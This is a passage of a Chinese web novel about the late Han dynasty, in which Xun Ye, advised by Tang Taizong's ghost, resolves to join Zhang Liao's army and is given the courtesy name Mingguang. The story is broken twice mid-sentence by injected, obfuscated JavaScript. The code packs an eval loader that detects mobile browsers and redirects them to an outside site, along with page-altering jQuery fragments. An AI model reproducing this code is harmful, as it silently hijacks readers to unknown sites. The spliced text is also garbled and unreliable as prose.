“对了,我来时遇到一处军营,营地里鸡洛山不远,瞧着里头有一千人左右。”郭嘉感慨完令他失望的冀州之行,打起精神继续说道,“我去打探了一下情况,营中主将名张辽,并州人士,最初被执金吾丁原召为从事,之后被举荐到大将军何进麾下。何大将军派他去河北募兵,等他回京形势已经和之前全然不同,这才稀里糊涂的归了董卓。” 荀悦深吸一口气,“打探?如何打探?” 他们家阿牞都知道军营和贼营不好分辨,郭奉孝那么大个人,总不能看到有兵丁就上赶着去找大营。 “如何打探不重要,重要的是那位张将军的家乡经常有胡人洗劫,所以他对劫掠百姓之事深恶痛绝。”郭某人说到这里灵活起身,丝毫不见刚才的蔫巴,“将贼兵交给那位张将军处置再合适不过,仲豫兄稍安勿躁,嘉立刻去寻文若。” 脚底抹油——快溜。 荀悦:??? 真上赶着去找大营了? 出门在外应小心为上,怎么一个比一个不要命? 6. 当老大难 * 山里现在住的都是茅草屋,虽说搭的有些仓促,但是好歹是个容身之所。 郭嘉行步如飞,篱笆墙上的茅草都被他带出来的风刮的歪歪斜斜,看的出来很着急了。 不着急不行,但凡他慢一点儿,接下来等着他的就是至少一个时辰的“君子不立危墙之下,奉孝博通经籍胸中万卷,岂可如无知小儿一般莽撞”。 别问他为什么知道,问就是以前经历过。 比起劈头盖脸的严厉叱骂,温温柔柔的讲道理更能让他坐立不安。三十六计走为上,他惹不起躲得起。 隔壁屋里,荀晔刚把事情说完就看到郭嘉飞扑而来,吓的他以为外面出什么事儿了呢,“怎么了怎么了?有山贼打进来了?” “没有山贼,只有一个绝佳对策。”郭嘉靠在门板上缓了口气儿,眨眼间又恢复成没有骨头的样子,“方才忘了说,这附近有一处军营,可以将那几个贼兵送去营中处置。” 荀晔不清楚这家伙刚才在他爹那儿说了什么,跟着说道,“里正也说过河边有兵丁安营扎寨,不过不知道那些兵是什么来历,没头没绪的也不敢靠近。” 还有给村民的回礼,他去找个布袋给村里送兜从家里带来的麦豆,还有他前两天打的几只兔子,不然村里没了年货他心里实在过意不去。 “好,都按阿牞的意思来。”荀彧耐心听他说完,然后才喊来书僮让书僮带上他的信物去善后,“只是几个意图行恶的贼兵而已,阿牞不要劳心,问题不大。” “是的!问题不大!”荀晔重重点头,鹦鹉学舌般跟着念了一遍,心情竟然真的轻松了下来。 幸好他这里有长辈帮助,不然就是再抗拒也只能闭着眼把那几个贼兵嘎掉以除后患。 还好还好,他还是那个干净淳朴的他。 有家真好,嘿嘿。 郭嘉看着小傻蛋风一般跑回隔壁,犹豫片刻还是问道,“没有记错的话,我们这个年纪的时候已经开始上下打点准备举孝廉,阿牞这……” 大汉以孝治天下,孝廉一科乃清流之目,是官吏晋升的正途。各郡国每岁孝廉名额有限,光有学识不够,还要有足够的名望。 朝中卖官鬻爵之风盛行,即便世族出身也要上下打点才能博个孝廉出身,小门小户就更不用说了。 就像他们文若,出身颍川荀氏,学识名望一个不缺,依旧拖到今年年初才成功举孝廉。 再说他自己,因为年岁尚浅可以拖,所以至今还在拖。 他不是说要抓紧时间给小辈求官谋职,现在的朝堂都是歪风邪气,去了那是带坏孩子。 他的意思是,小傻蛋是不是有点天真? 劫掠百姓其罪当诛,如果遇到贼兵的是他,那几个兵现在已经曝尸荒野,根本不用再回来找人善后。 他不能打怎么了?身边的护卫是吃干饭的? 战祸将至,心太软没好处。 “阿牞情况特殊,虽说看着和同龄人无异,可先前毕竟懵懂多年,兄长也不敢让他接触太多险恶。”荀彧垂下眼帘,低声叹道,“性情纯善不是坏事,天下安稳不了几年,以后有的是愁苦烦闷,何必现在就逼着他长大?” “也是。”郭嘉煞有其事的点点头,然后眯着狐狸眼笑道,“刚才见面时我自称是他叔父,那傻小子竟然真的喊了哈哈哈哈哈。” 荀彧:…… 算了,换个话题。 “不是说要去冀州?怎么找到这儿来了?” “天下熙熙,皆为利来;天下攘攘,皆为利往。”郭嘉摇头晃脑念了一句,然后开始唉声叹气,“方才在仲豫兄面前已经说过缘由,伤心之事嘉不欲再提。” 荀彧拿这混不吝的好友没有办法,人都回了不用想也知道和冀州那边处的不愉快,“你先歇歇,我去给你安排住处。” “还有多余的屋子吗?没有的话随便找个地方将就两天也行。”郭某人嘴上说着随便安排,但是看那架势好像更希望和谁挤挤。 冬日天寒,山里不好取暖,和好友一起对床夜语抵足而眠不比他一个人住更舒服? 荀彧轻飘飘一眼扫过去,“对床夜语?你确定你这颠簸了一路的身子撑得住?” 如果某人身体康健,他也想问问冀州现在的具体情况,奈何某人是个稍不注意就能病倒的药罐子,他可不敢在长途跋涉后立刻拉着人秉烛夜谈。 郭嘉摸摸鼻子,柔柔弱弱没有辩解。 事实如此,他总不能出去绕着山脚跑一圈来证明自个儿身子骨好。 都不用太远,他跑半里路就累死了。 不远处,书僮和去村里善后的部曲已经准备妥当,荀晔将装满麦谷的布兜和三只兔子交给他们,想了想还是不亲自过去了。 他脸皮薄,实在扛不住里正和村民的热情,记得把落在村口的长戟带回来给他就行。 出门在外得有件趁手的武器,虽然他更喜欢义父的长枪,但是现在没那个条件,缴获来的长戟也能凑活着用。 李二陛下听的欲言又止,他就没见过上来就拜义父、还一拜就是四位义父的脸皮薄。 小憨憨面容严肃的目送善后人员走远,站在原地把事情从头到尾梳理一遍,确定没有没有疏漏的地方才终于松了口气。 天色不早了,先去美人爹那儿说一声让他放心。爹说的不错,文若叔果然无所不能。 成功完成任务的荀某人心情颇好,在院子里来来回回转了好几圈,发现实在找不到活儿了于是招呼随身大佬去没人的地方练武。 陛下们出现的时间没有定数,要珍惜有守护阿飘的每一分钟。嗯,珍惜。 少年郎身姿挺拔英气十足,打起拳来虎虎生风,一心二用的本事更是了不得,练着拳也不耽误聊天,“这次的任务看着容易,实际上一点儿也不容易,义父下次能不能挑个简单点儿的?” “任务是其次,重要的是让你见识民生疾苦。”李世民双脚踩在地上,不疾不徐的说道,“就算没有任务,那几个贼兵也会进村劫掠,你能眼睁睁看着无辜百姓惨死在屠刀之下?” “不能。”荀晔垂头丧气的收势停下,一心二用的技能暂时失灵,“义父,能不能说点高兴的?” 李二陛下摇摇头,“世道已经乱了,逃避解决不了问题,在你看不到的地方还有更多百姓枉死于天灾人祸,不是说闭上眼睛就能当他们不存在。” 荀晔盘腿坐在地上,蔫儿了吧唧的问道,“我只是一个人,还什么都没有,怎么去救全天下?” “我少年从军,十七岁前往雁门关救隋炀帝,晋阳起兵那年我十九岁,只能在战场上给兄长打下手,直到二十一岁才有亲自挂帅出征的资格。”李世民在旁边坐下,“没有人生下来什么都会,但是你不能因为害怕就觉得自己不行。” “我们不一样。”荀晔还是感觉不太行,“要不您和系统商量商量,您几位今后一天十二个时辰都跟在我身边怎么样?” “天还没黑,没到做梦的时候,清醒一点。”李二陛下收回刚才的温声细语,抬手就是一个脑瓜崩,虽然打到身上没啥感觉,但是能表明他的态度,“我们几个可以是锦上添花,但是不能喧宾夺主。小子,这是你将来要生活的地方,不是我们。” 他们是死后重新聚起来的魂灵,不能也没有办法干涉小世界的运行,只有小世界土生土长的生灵才能撼动世界线。 荀晔沉默了一会儿,张张嘴艰难说道,“所以我爹他们说我回魂痊愈不是封建迷信,而是物理意义上的回魂?我不是中途穿过来的,之前那个傻了吧唧的也是我?” 他以前很认真的思考过到底是生而痴傻后来好转还是半路穿到一个痴儿身上,因为没有半点痴傻时的记忆,他一直更偏向后者。 那中间没有记忆的这些年他哪儿去了?就单纯的傻着?系统故障也故障的太久了吧? 不过想想金大腿们延迟的时间,也不是不能理解。 李世民:…… 重点是这个吗? 李二陛下不明白这小憨憨在意的地方那么奇怪,是他的表述不清楚吗?他们刚才说的明明是“鬼神靠不住只能靠自己”! “我懂我懂我懂。滴自己的汗,吃自己的饭,自己的事自己干,靠天靠地靠祖上不算是好汉。”荀阿牞迅速调整好心情,握紧拳头郑重道,“义父,打天下没问题,现在就缺本《■选》。” “有斗志是好事,但也不能飘成这样。”路要一步一步走,步子跨太大容易扯着蛋。 “从头开始很难的,您总得让我有点精神寄托。”荀晔晃晃脑袋,仰起脸笑的很是灿烂,“义父,来说说你刚从军时的感觉呗,孩儿参考参考。” “刚从军时的感觉?没啥感觉。”李世民仔细回想当年,想来想去也想不起来太多,只能挑着捡着说道,“那会儿天下乱七八糟,手里没兵心里不踏实。” 要说他的起家之路那三天三夜都说不完,带兵打仗需要脑子但同时也是力气活儿,文武哪边有短板都不行。 不过也不用太紧张,经验都是一点点积攒起来的,胜败乃兵家常事,只要跌倒了能爬起来就不是什么大事儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858486|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 荀晔若有所思的点点头,既然说到从军了那就多说几句,也好让他知道真实的当兵是什么感觉。 让他扛大旗当老大有点难,但是他可以手动降低难度。 当老大难,他不当老大不就行了? 如此机智,不愧是他。 李二陛下说着说着忽然意识到什么,睁大眼睛问道,“你想去投谁?” “就近原则,河边的张辽就很不错。”荀晔大手一挥开始列战绩,“张辽张文远,曹魏五子良将之首,白狼山之战阵斩蹋顿大破乌桓,合肥之战八百战十万威震江东,这战斗力绝对是金字塔尖尖那一撮儿里面的,跟他不亏。” 李世民啧了一声,“然后呢?等吕布兵败被杀再跟着他一起去投曹操?那你还不如直接跟着你荀彧叔。” “义父,您这就是当皇帝太多年想法都僵化了。现在离吕布兵败还有那么久,万一人家没败呢?”荀晔一本正经的反驳,“您想想五胡乱华是先从哪儿乱的,再想想吕布张辽都是哪儿人。实在不行的话,您想想您自个儿呢。” 五胡最先建国的是并州南匈奴,吕布张辽都是并州人,义父们说他们出现的主要原因是五胡乱华生灵涂炭,左右已经一筹莫展束手无策,不如从根本上解决问题。 吕布那么高的武力值不能浪费,他们先打蛮夷! 李世民顿了一下,“知道的还挺多。” 小憨憨觉得他的名声需要拯救,“义父,我只是不知道中平六年是哪一年,不是对历史一窍不通。” 就是专家也不能对史上所有年号都脱口而出,他这些年又完全没有想过会身处汉末,第一次见面时显得傻不意味着他真傻,义父明鉴! “好好好,你不傻。”李二陛下止住小憨憨的叫屈,对他投奔张辽的主意不置可否,只是问道,“此时的并州和隋末的并州大不相同,你知道现在的并州有多乱吗?” “不太清楚,但是我知道汉末三国时期并州的存在感特别低。吕布都没想过回老家发展,估计那儿已经成了羌胡的天堂。”荀晔换个姿势,眨巴着眼睛请李二陛下开堂授课,“义父,您读书多,并州现在具体什么情况?” 可惜不能暴露守护阿飘的存在,不然直接拿个小本本做笔记再方便不过。 没关系,他记性好,听一遍也能复述下来。 李世民:…… “你这主意虽偏,仔细想想也不是不行。”李二陛下本身就是太原起家,很清楚如何利用山西的表里山河,“吕布不回并州是因为他兵败时并州铁骑已经所剩无几,现在这个节点并州军主力还没有损失太多,他们放弃中原调头回并州的话未必不能打羌胡个措手不及。” 都说三国争霸谁家吃亏了不顺心都转身打附近的番邦蛮夷出气,但是并州是个例外。 东汉时朝廷无力掌控内附羌胡匈奴鲜卑各部,郡地失于羌胡,边境汉人百姓不断内徙,到灵帝在位为止能控制的地盘甚至不足版图的三分之一。 袁绍称霸北方时号称掌控冀、幽、青、并四州,并派他的侄子高干担任并州刺史,但是高干能控制的只有并州东南的上党、太原等两三个郡。 到建安年间,朝廷甚至连表面的遮羞布也不要了,直接官宣将控制不住的地方省并,并州由此并入冀州。 虽说后来曹魏复置并州,但是那时的版图和东汉初年已经没法比。 荀晔听的唏嘘不已,整个晋西北乱成了一锅粥啊,“难怪五胡乱华从并州开始,人家有从东汉开始积攒的老底,瞅准机会肯定要南下。” 李二陛下瞥了他一眼,继续说道,“并州很乱,而且吕布并不是一个谋略出众的人,你确定能把他劝回老家?” 谋略不行还不听劝,闭着眼选也不能选这样的老大。 而且打天下最重要的是人,并州九郡加起来都没有中原一个郡多,先天条件就比中原差了许多。 如今的并州有一小半在南匈奴手上,吕布的老家五原郡是鲜卑的地盘,八百里太行山中藏匿的山贼就更多了,黑山贼、白波贼各种贼,每一伙都是“聚啸数万”。 他承认吕布很能打,但是猛虎难敌群狼,吕布的性子连胡人都不一定斗得过,更不用说那边拥兵自重的汉人。 首先成大事者得先沉得住气这一条他就不行。 退一万步讲,就算吕布真的能在并州站稳脚跟,臭小子还能一辈子给那大傻子当小弟不成? 荀晔眼神略显飘忽,“那时候啊,那时候就该换我赵爹出场了。” 李世民:…… 噗~ 7. 天黑路长 * 李二陛下大笑着结束一对一教学,虽然小憨憨劝吕布回老家并州的计划疏漏百出,但是他现在着急回去和赵大分享快乐,下次过来再好好分析“找个老大当小弟”和“给吕布当小弟”的区别。 这年头从军很容易,他们家小憨憨和他一样天生神力,这体格去投靠谁都能不会被拒绝。 但是容易也有个前提,臭小子要从军得先得到亲爹的准许。 “你先去试探一下你父亲的态度,看看他对各方势力的看法再做决定。”李世民最后叮嘱几句,“小子,记住,不管别人有什么意见,最终做决定的只有你自己。” 荀悦荀彧这些长辈的话要认真听,他和其他三位皇帝的话也要认真听,不过他们的话得有选择的听。 每个小世界的情况都不一样,就算大趋势雷同,细节方面的差异也不能忽视。 后世有无数本汉末三国题材的作品,所有的作品都是三家归晋,可以说那么多作品都一模一样吗? 他们都没亲身经历过这个时代,但是分析情况时下意识会有偏向。史书上写的不可尽信,所以他们的分析也不能尽信,万一他们按照《三国志》来分析,结果现实却是《三国演义》或者《三分事略》或者《大魏枭雄志》呢? 聪明的脑袋瓜是个好东西,有就得用上,别在那儿杵着当摆设。 李二陛下说完之后不等小憨憨有反应便消失不见,留下“杵着聪明脑袋瓜当摆设”的小憨憨对着空气无能狂怒。 他好不容易想了个降低游戏难度的办法,这就又给他拉回去了? 再强调一遍,不是所有人都是唐太宗! 大佬的世界都是这样吗?怎么那么难沟通? 寒冬腊月的风噼里啪啦砸在脸上,小倒霉蛋感觉他的身心和大汉的江山一样千疮百孔。 好吧,不是大佬难沟通,是他天真的对现实抱有不切实际的幻想。 没关系,干爹靠不住还有亲爹,不管义父们认知中的三国是低武三国高武三国还是神话三国,他和亲爹的世界观都绝对相同。 勇敢牛牛!不怕困难!加油你可以! 这边正捏着拳头给自己鼓气,远处忽然传来一道熟悉的声音,“阿牞侄儿,你父亲喊你回家吃饭。” 郭嘉斜倚在门口的老树上,拖长的尾音自带慵懒。 怎么看怎么不正经。 “来了来了。”荀晔应了一声,用力揉揉脸平复心情,然后才大步往回走,走到郭嘉面前还煞有其事的拱手道谢,“有劳奉孝兄。” 郭嘉听到这个称呼遗憾不已,但还是不死心的试探道,“我与你父同辈相交,你应唤我叔父。” 荀晔在村口已经被哄着喊了好几声“叔父”,这会儿一点面子也不给他留,直接照搬郭某人的原话回怼,“那是你们的事情,和我没有关系,我只知道我们俩没差几岁。” 俩人一边拌嘴一边往回走,等他们洗完手落座时饭菜已经准备妥当。 避难时节不适合设宴迎接,山里也没那么大的地方给他们折腾,再加上郭嘉不算外人,今天的晚饭就只是比平时丰盛了些。 荀晔和亲爹还有几位叔父一一打过招呼,然后眼睛亮晶晶的期待今天的饭菜。 以前在乡下隐居的时候饭菜都是他和他爹自己做,父子俩的手艺都只能说是能吃。现在一大家子住在一起,做饭这种事情自然要还给专业人士。 美人爹只是不爱住在人多的地方,不是没苦硬吃。 事实证明,专业的事情还是得专业人士来。 汤饼、蒸饼、麦饭、煎肉、鲫鱼豆腐汤,哇,今天竟然还有柏叶酒和两个橘子。 感谢客人!水果万岁! 郭嘉连日赶路胃口不太好,勉强吃了一碗汤饼便放下筷子。 再然后,他就看到了旁边堆满了碗碟的食案。 少年郎随父隐居乡野,大大小小的事情都是亲爹手把手教,举止间的小细节和他爹几乎一模一样。 吃饭的动作称得上斯文,就是消灭食物的速度实在没法和“斯文”沾边儿。 郭嘉:愣住.jpg 他知道这个年纪的少年郎饭量大,但是这是不是太大了点儿?仲豫兄隐居的时候真的没让孩子饿肚子吗? 荀悦察觉到落在身上的目光,再看看对每一顿饭都抱有极大热情的傻儿子,有些愧疚的说道,“阿牞这些年随我隐居的确吃了不少苦头。” 荀晔听到他爹的话抬起头,看到郭嘉眼中没来得及收回去的震惊后不用想也能猜到他爹为什么会忽然冒出来这么一句话。 都说半大小子吃穷老子,他正是长身体的年纪,饭量大多正常。 “没吃苦头,我在家也吃这么多。” 虽然家里的饭没有这儿的饭好吃,但是他又不是什么娇生惯养的公子哥儿,饭菜能吃就足够了。 这年头讲究食不言寝不语,郭奉孝你不吃也别捣乱,别人还没吃饱呢。 郭嘉讪讪笑笑,拱手朝气鼓鼓的小傻蛋道了个歉,控制不住的想看这小子到底能吃多少。 荀彧擦擦嘴角,起身将坐不住的郭某人带去刚给他收拾好的茅草屋。 荀晔欢快的朝他们挥手,等俩人都出了门才回过头再次强调,“阿父别多想,我真没觉得以前在吃苦。” 他好歹是活了两辈子的人,虽然两辈子加起来也没多少年,但是上辈子的见识足以让他对古代封建社会的生活水平不报任何希望。 别的不说,就他这饭量得亏生在他们家,放到寻常农家得天天饿肚子,可能等不到长大就饿死了。 路见不平一打五是做梦,一个贼兵能打五个面黄肌瘦的他。 真的,不是所有的爹都能养出他这种英姿飒爽举世无双的儿子,阿爹厉害着呢。 不远处的茅草屋中,郭嘉弱弱开口,“我没觉得阿牞吃的多,就是第一次见有点吃惊。” “无妨,我们第一次见时也很惊讶。”荀彧让他不要多想,“那小子不觉得饭量大是坏事,但是如果你继续一脸震惊的盯着他看,他会拉着你一起继续吃。” 别人劝酒他劝饭,被劝之人看他吃的那么香都会不自觉的跟着继续吃,等感觉到撑得慌的时候已经晚了。 刚在山里安顿下来的那几天,除了大兄外家里所有兄弟都没逃得过积食的下场,包括他自己。 他们家的人身体康健,积食的话出去走走就好了,郭奉孝没那么好的身体可以折腾,不想接下来半个月只能躺在床上就消停点儿。 “受教了。”郭嘉听的搓搓胳膊,小小阿牞竟恐怖如斯,看来以后逗弄时要更加小心。 茅草屋麻雀虽小五脏俱全,车夫护卫住在隔壁,附近还有用瓦土搭起来的灶台。 仆妇已经将屋里收拾的干干净净,郭嘉简单扫了一眼便招呼荀彧坐下,“我知道我今天对阿牞的关注有点多,但是还是有几句话想问。” 荀彧挑了挑眉,“什么话?” 郭嘉谨慎的压低声音,“听说幼儿天眼未合能见鬼神,阿牞早年魂游天外,会不会至今依旧能看到鬼神?” 他不是在开玩笑,而是真心觉得有这种可能。 白天在村口相遇时就感觉那小傻蛋会时不时走神,进山后分给他的茅草屋没有收拾好,他便在附近随意转了几圈,不料又看到那小傻蛋在无人处表情丰富的自言自语。 村口那次可能是他多心,刚才总不能还是他多心吧? 荀彧:…… 这家伙在冀州到底经历了什么,离开时还好好的,怎么回来就变的神神叨叨? “你清醒些,世上没有鬼神。”荀彧嘴角微抽,语气格外肯定,“阿牞从未和贼人打过交道,今日遇到贼兵劫掠村寨难免会害怕。在家里表现的太明显会让大兄担心,不找个无人处平复心情难道还要在大庭广众之下哭鼻子?奉孝,孩子大了,知道要面子了。” “好像有点道理。”郭嘉顿了一下,后知后觉意识到他刚才的想法才不合理,“看来真的要好好睡一觉,休息不好脑子都糊涂了。” 荀彧无奈摇头,留他自己在屋里好好休息,“你先歇着,有什么事情明天睡醒再说。” 郭嘉有气无力的挥挥手,让他出门时别忘了把门带上。 他应该是身体走的太快不小心把脑子丢在了路上,容他睡一觉等脑子找回来,明天醒来他还是那个多谋善断的郭奉孝。 另一边,荀晔完全不知道他的守护阿飘差点暴露。 小憨憨烦恼不往心里搁,没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858487|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事情是吃顿好吃的解决不了的,如果有那就再吃一顿。 太阳快要落山,去处理后续事情的几个部曲终于回来复命,一回来就把小郎君千叮咛万嘱咐要带的长戟送来。 河边军营的张辽张将军是个嫉恶如仇的好将军,审出那几个贼兵不是第一次干劫掠村寨的事情后当场就把他们拉去营门口砍了,也算是告慰那些被他们害死的百姓的在天之灵。 荀晔磨了磨牙,“杀贼兵还得靠自己抓,真是没天理了。” 不过没天理归没天理,再来一次他还是不敢杀。 山里的傍晚透心凉,不一会儿就彻底黑了下来。 荀晔把长戟放在院子里,进屋到他爹身旁坐下,“阿父,您说我去当兵怎么样?” 荀悦握着书简的手颤了一下,好一会儿才轻声道,“战场凶险,稍有不慎便会身死他乡。” “大丈夫当捐躯赴国难,不惧马革裹尸。”荀晔攥紧拳头正气凛然,然而喊了一句后立刻恢复原形,“可是外面那么乱,山里也不会一直安全,我们总不能一直搬家一直躲?” 荀氏有部曲,不是只剩下老弱病残的村寨,遇到少量心怀不轨的贼兵有一战之力,可万一遇到的数以万计的山贼呢? 朝廷已经靠不住,之后崛起的各路诸侯也可靠不到哪儿去,与其提心吊胆躲避战祸,不如亲身下场打出个能够安稳居住的地盘。 当然,打地盘什么的离他还很远,现在说出来只会让美人爹担忧,还是等他在战场上打出点名头再说吧。 “阿父不求你拜将封侯,只愿你能平平安安。”荀悦无声叹气,他知道孩子大了会飞走,但是当父亲的哪儿能没有私心,“如果你已经下定决心,阿父也不会阻拦。” 荀晔犹豫了一下,想想即将到来的“白骨露於野,千里无鸡鸣”,还是郑重其事的说道,“阿父,我要从军。” 荀悦定定看着仿佛一瞬间就长到这般大的儿子,心里再多不舍也只能强忍着,“如今京城暗流涌动,各州郡讨董义军此起彼伏,阿牞想去哪一方?” “我想明天先去河边军营看看。”荀晔小声说道,“张文远嫉恶如仇还年轻,应该不难相处。” 且不说历史上的张辽有多厉害,只看他今天能干脆利落的处置违反军令的士兵就能看出是个有担当的人。 万一那几个贼兵有个同样喜欢劫掠百姓的上官,张文远得为这事儿负责。 再有就是,虽然他的最终目标是吕布,但是吕布的名声现在已经不太好,把目前从属吕布又和吕布没多亲密的张辽拉出来可以大大减少投奔的阻力。 荀悦揉揉傻儿子的脑袋瓜,稳住声音温声道,“也好,京城离得近,你叔祖和堂兄都在那儿,如果觉得不合适就再回来。” 朝中争权夺利暂时波及不到底下将领,傻小子有力气长得好,还有长辈能看顾一二,只要他自己不胡来,想丢掉性命也有难度。 至于各州郡的讨董义军…… 走一步看一步吧。 荀晔乖乖的坐在那里听他爹给他分析京城的势力划分,虽然他觉得朝堂的风起云涌和要去当小兵的他关系不大,但是该听还是得听。 其实开口之前他以为美人爹会不放心他出门,他们父子俩这么多年连一天都没分开过,从军不是出门打猎,这一走可能好几年都回不来。 住脑住脑,再想就真的舍不得走了。 不想当将军的士兵不是好农民,为了美人爹以后能安心隐居,为了全天下百姓都能安心种地,闭着眼睛莽就完事儿了。 荀悦将知道的消息全部掰开揉碎讲给儿子听,直到讲无可讲说无可说,才终于长叹一声放他离开。 “阿父也早些休息。” 荀晔悄悄打了个哈欠,晕晕乎乎回屋倒头就睡。 夜黑风高,星月尽数被云层遮掩,柴火燃烧的噼啪声隐约传来更显得万籁俱寂。 茅草屋的烛火持续闪烁到天明。 荀晔一觉醒来神清气爽,发现他爹房中有动静心里咯噔一下连忙敲门进去,“阿父今日怎么、阿父昨晚没睡?” “阿牞要从军,以后便不能再喊乳名了。”荀悦将桌上早已阴干多时的绢帛递过去,“风雨如晦,长夜将明,取明光二字如何?” 8. 宁我诓人 * 荀晔接过写着“明光”二字的绢帛,心里闷闷的,眼眶一下子就红了,“阿父就算要取字也不能整夜不睡,多伤身体啊。” 正常情况下男子二十岁取字,但是也有提前取的,比如年少入仕或年少持家,亦或者小小年纪就才华出众深得师长赞许,这种特殊情况下为了方便和师友同僚交流就会提前取字。 加冠取字表示成年,在那之前无论干什么都能用“孩子还小”来当借口,但是取字之后就不一样了,不是谁都能和郭奉孝一样身为成年人也依旧面不改色的胡搅蛮缠。 要不是他忽然说要去当兵,阿爹也不会为了给他取字一夜不眠呜呜呜呜呜。 荀悦眨眨有些酸涩的眼睛,费劲的将儿子从身上撕下来,“先松开,阿父要喘不过气了。” 傻小子现在那么大只,不能再随随便便往身上扑。 荀晔吸吸鼻子,声音不自觉的带了哭腔,“让您晚上不睡觉,都是熬夜熬的。” 从今天起,他不再是那个傻不愣登的荀阿牞,而是提前步入成年人世界的荀明光。 阿爹可以念叨他,他也可以念叨阿爹,这就是险恶的成年人的世界。 “好了,别闹。”荀悦揉揉傻小子的脑袋瓜,温声细语的说道,“阿父昨夜和你几位叔父商量了一下,还是觉得现在进京不太妥当,得和你好好聊聊。” 他昨晚思来想去睡不着,那么身为傻小子叔父的弟弟们也别睡了,就算不能讨论出什么有用的,至少能宽慰几句让他心里好受些。 然而现实总是比预想还要残酷,一晚上过去非但没能让他放心,反而更加提心吊胆。 荀晔以为来自长辈的阻拦延迟一天终于到来,抹了把眼泪抽抽噎噎的问道,“阿父,如何不妥当?” “先去吃早饭,然后阿父和几位叔父一同和你说。”荀悦揉揉眉心,怕傻小子多想又补充道,“阿父并非要阻拦,若你听完之后依然想出去闯闯,家里也会尽量为你铺好前路。” 荀晔眼泪汪汪不敢说话,他怕他开口就会“哞”的一声哭出来。 爹舍不得他出去闯荡,他也舍不得爹。都怪这世道,天下要不乱不就没那么多事儿了? 阿爹不喜欢出门,和家里人来往也称不上主动,现在情况不算太乱所有人都住在一起还好,要是哪天出现变故落单了想找回来都难,这让他如何放心呜呜呜呜呜。 情绪是会传染的,荀悦怕再说下去会发展成他们父子俩在屋里抱头痛哭,连忙止住话题起身出门。 为了方便煮扫的仆妇收拾,这些天家里人用饭都在一起。 几句话的时间外面天色已经大亮,郭嘉站在篱笆墙外笑眯眯打招呼,对这种早上起来出了房间就能看到周围人在干什么的生活很是新奇。 荀晔蔫儿了吧唧的挥挥手,和昨天朝气蓬勃的模样判若两人。 郭嘉:??? 他睡了一觉找回了脑子,小傻蛋睡了一觉把脑子丢了? 那他找回来的到底是谁的脑子? 郭奉孝一顿早饭吃的战战兢兢,吃到七分饱放下筷子,再看看都比昨天沉默许多的荀氏众人,又有种他的脑子还在半路没找回来的感觉。 人果然不能和蠢货共事,他只是去了趟冀州,甚至没和那些家伙相处太久,怎么就有种被他们同化的感觉? 物以类聚人以群分,为了他聪明的脑袋瓜着想,还是得和他自己选出来的好友待在一起。 饭后,所有人聚在一起给想要出去闯荡的少年郎分析天下局势。 家中不养闲人,即便天资平庸也要有自食其力的本事,何况他们家并没有真正平庸之人。 他们这一辈基本上都是这个年纪离家,或是到郡里任职,或是跟随长辈赴任,如此历练几年,之后是举孝廉正式步入仕途还是收身隐退做学问全凭自己心意。 这个年纪确实该准备出去闯荡,只是阿牞情况特殊,他们从来没想过让才回魂痊愈没几年的侄儿和他们一样十六七岁就离家。 现在孩子自己提出来想做什么,身为长辈只需要给他铺盘平眼前的一段路。 他们能帮衬的也只有眼前这短短一段路。 荀彧神色平静,责无旁贷扛起教导侄儿的重任,“此地已经不安全,无论如何我们年后都要走,阿牞要留下的话就只能和你父亲分开。” 虽然离开颍川时就知道密县也不是久留之地,但是没想到洛阳周边也会乱的这么快。 冀州牧韩馥是颍川人,且前两日刚刚送来信件说欢迎乡人去冀州避难,他们家两位兄长如今也都在冀州为官,有族人能够上下打点总比躲在山里强。 郭嘉眸中划过一抹了然,听明白情况后正襟危坐以叔父的身份挤进去一起分析。 荀氏对京城及周边的情况更加了解,他刚从冀州回来,更清楚冀州目前的情况,从休若友若家书中得来的消息不如听他说直接。 原本就打算睡一觉清醒清醒再互通有无,正好现在一起说。 什么?他郭氏的族人? 郭氏全族早在半年前就迁去了冀州,他这是和那边处不来才离开。 不是说冀州不好,州牧谨小慎微对想要建功立业的属官幕僚而言是缺点,对治下百姓来说却是天大的好事,纵观大汉十三州再没有别处比冀州更适合避祸。 没关系,他过完年就回颍川找志才。 文若说他们启程来密县的时候正好赶上志才生病才没有一起过来,都说他身子骨不好,那家伙比他还虚,没个好友照应可怎么好哦。 他离开冀州时就把接下来的行程安排的明明白白,颍川家中有老仆打理,他身边也带着护卫,最最重要的是他察觉到危险知道开溜,所以不用像操心某个小傻蛋一样操心他。 荀晔不知道硬挤进来的“郭叔父”在想什么,面对几位长辈端端正正坐好,感觉比同时对着四个皇帝还紧张。 他已经做好和美人爹分开的准备,战场上刀剑不长眼,他皮糙肉厚怎么折腾都没事儿,阿爹和族人一起留在安稳的地方做学问就够了。 荀彧蘸了蘸杯中温水,用手指在桌上画出几道曲线,是简略的州境分界线,“董卓暴虐无道,典军校尉曹操曹孟德于陈留首倡义兵,但只有济北相鲍信与其弟鲍韬率兵响应。” 荀晔眨眨眼睛,举手表示有疑问,“不是说天下英雄群起响应吗?怎么会只有俩人?” 荀悦摇摇头,“今幼主羸弱,董卓兵强马壮大权在握,不是所有人都有曹将军那般胆气敢直接和他叫板。” “招兵买马和观望局势不冲突,各州郡那么多‘豪杰’,真心匡扶社稷者寥寥无几。”郭嘉耸耸肩,不紧不慢说道,“讨董不是喊几句口号的事情,里头弯弯绕绕多着呢。” 